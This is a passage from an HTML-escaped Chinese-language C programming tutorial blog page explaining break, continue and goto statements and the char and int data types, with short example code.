class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,一旦读到换行符(\u003ccode\u003e\\n\u003c/code\u003e),\u003ccode\u003ebreak\u003c/code\u003e命令就跳出整个\u003ccode\u003ewhile\u003c/code\u003e循环,不再继续读取了。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003ebreak\u003c/code\u003e命令只能跳出循环体和\u003ccode\u003eswitch\u003c/code\u003e结构,不能跳出\u003ccode\u003eif\u003c/code\u003e结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 无效\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hello\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ebreak\u003c/code\u003e语句是无效的,因为它不能跳出外层的\u003ccode\u003eif\u003c/code\u003e结构。\u003c/p\u003e\u003ch3 id=\"continue-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#continue-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"continue 语句\"\u003e\u003c/a\u003econtinue 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003econtinue\u003c/code\u003e语句用于在循环体内部终止本轮循环,进入下一轮循环。只要遇到\u003ccode\u003econtinue\u003c/code\u003e语句,循环体内部后面的语句就不执行了,回到循环体的头部,开始执行下一轮循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d, %d\\n\u0026#34;\u003c/span\u003e, i, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,有没有\u003ccode\u003econtinue\u003c/code\u003e语句,效果一样,都表示跳到下一个\u003ccode\u003ej\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch == \u003cspan class=\"string\"\u003e\u0026#39;\\t\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只要读到的字符是制表符(\u003ccode\u003e\\t\u003c/code\u003e),就用\u003ccode\u003econtinue\u003c/code\u003e语句跳过该字符,读取下一个字符。\u003c/p\u003e\u003ch3 id=\"goto-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#goto-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"goto 语句\"\u003e\u003c/a\u003egoto 语句\u003c/h3\u003e\u003cp\u003egoto 语句用于跳到指定的标签名。这会破坏结构化编程,建议不要轻易使用,这里为了语法的完整,介绍一下它的用法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etop: ch = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch == \u003cspan class=\"string\"\u003e\u0026#39;q\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e top;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003etop\u003c/code\u003e是一个标签名,可以放在正常语句的前面,相当于为这行语句做了一个标记。程序执行到\u003ccode\u003egoto\u003c/code\u003e语句,就会跳转到它指定的标签名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einfinite_loop:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e print(\u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e infinite_loop;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码会产生无限循环。\u003c/p\u003e\u003cp\u003egoto 的一个主要用法是跳出多层循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(...) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (...) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (...) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (some_error_condition)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e bail; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(...);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebail:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ... ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码有很复杂的嵌套循环,不使用 goto 的话,想要完全跳出所有循环,写起来很麻烦。\u003c/p\u003e\u003cp\u003egoto 的另一个用途是提早结束多重判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something2() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something3() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something4() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例有四个判断,只要有一个发现错误,就使用 goto 跳过后面的判断。\u003c/p\u003e\u003cp\u003e注意,goto 只能在同一个函数之中跳转,并不能跳转到其他函数。\u003c/p\u003e\u003ch2 id=\"数据类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"数据类型\"\u003e\u003c/a\u003e数据类型\u003c/h2\u003e\u003cp\u003eC 语言的每一种数据,都是有类型(type)的,编译器必须知道数据的类型,才能操作数据。所谓“类型”,就是相似的数据所拥有的共同特征,那么一旦知道某个值的数据类型,就能知道该值的特征和操作方式。\u003c/p\u003e\u003cp\u003e基本数据类型有三种:字符(char)、整数(int)和浮点数(float)。复杂的类型都是基于它们构建的。\u003c/p\u003e\u003ch3 id=\"字符类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"字符类型\"\u003e\u003c/a\u003e字符类型\u003c/h3\u003e\u003cp\u003e字符类型指的是单个字符,类型声明使用\u003ccode\u003echar\u003c/code\u003e关键字。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了变量\u003ccode\u003ec\u003c/code\u003e是字符类型,并将其赋值为字母\u003ccode\u003eB\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言规定,字符常量必须放在单引号里面。\u003c/p\u003e\u003cp\u003e在计算机内部,字符类型使用一个字节(8位)存储。C 语言将其当作整数处理,所以字符类型就是宽度为一个字节的整数。每个字符对应一个整数(由 ASCII 码确定),比如\u003ccode\u003eB\u003c/code\u003e对应整数\u003ccode\u003e66\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e字符类型在不同计算机的默认范围是不一样的。一些系统默认为\u003ccode\u003e-128\u003c/code\u003e到\u003ccode\u003e127\u003c/code\u003e,另一些系统默认为\u003ccode\u003e0\u003c/code\u003e到\u003ccode\u003e255\u003c/code\u003e。这两种范围正好都能覆盖\u003ccode\u003e0\u003c/code\u003e到\u003ccode\u003e127\u003c/code\u003e的 ASCII 字符范围。\u003c/p\u003e\u003cp\u003e只要在字符类型的范围之内,整数与字符是可以互换的,都可以赋值给字符类型的变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"number\"\u003e66\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ec\u003c/code\u003e是字符类型,赋给它的值是整数66。这跟赋值为字符\u003ccode\u003eB\u003c/code\u003e的效果是一样的。\u003c/p\u003e\u003cp\u003e两个字符类型的变量可以进行数学运算。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 char a = 66;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e b = \u003cspan class=\"string\"\u003e\u0026#39;C\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 char b = 67;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, a + b); \u003cspan class=\"comment\"\u003e// 输出 133\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符类型变量\u003ccode\u003ea\u003c/code\u003e和\u003ccode\u003eb\u003c/code\u003e相加,视同两个整数相加。占位符\u003ccode\u003e%d\u003c/code\u003e表示输出十进制整数,因此输出结果为133。\u003c/p\u003e\u003cp\u003e单引号本身也是一个字符,如果要表示这个字符常量,必须使用反斜杠转义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e t = \u003cspan class=\"string\"\u003e\u0026#39;\\\u0026#39;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003et\u003c/code\u003e为单引号字符,由于字符常量必须放在单引号里面,所以内部的单引号要使用反斜杠转义。\u003c/p\u003e\u003cp\u003e这种转义的写法,主要用来表示 ASCII 码定义的一些无法打印的控制字符,它们也属于字符类型的值。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\\a\u003c/code\u003e:警报,这会使得终端发出警报声或出现闪烁,或者两者同时发生。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\b\u003c/code\u003e:退格键,光标回退一个字符,但不删除字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\f\u003c/code\u003e:换页符,光标移到下一页。在现代系统上,这已经反映不出来了,行为改成类似于\u003ccode\u003e\\v\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\n\u003c/code\u003e:换行符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\r\u003c/code\u003e:回车符,光标移到同一行的开头。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\t\u003c/code\u003e:制表符,光标移到下一个水平制表位,通常是下一个8的倍数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\v\u003c/code\u003e:垂直分隔符,光标移到下一个垂直制表位,通常是下一行的同一列。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\0\u003c/code\u003e:null 字符,代表没有内容。注意,这个值不等于数字0。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e转义写法还能使用八进制和十六进制表示一个字符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\\nn\u003c/code\u003e:字符的八进制写法,\u003ccode\u003enn\u003c/code\u003e为八进制值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\xnn\u003c/code\u003e:字符的十六进制写法,\u003ccode\u003enn\u003c/code\u003e为十六进制值。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"number\"\u003e66\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"string\"\u003e\u0026#39;\\102\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 八进制\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"string\"\u003e\u0026#39;\\x42\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 十六进制\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的四种写法都是等价的。\u003c/p\u003e\u003ch3 id=\"整数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"整数类型\"\u003e\u003c/a\u003e整数类型\u003c/h3\u003e\u003ch4 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h4\u003e\u003cp\u003e整数类型用来表示较大的整数,类型声明使用\u003ccode\u003eint\u003c/code\u003e关键字。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e 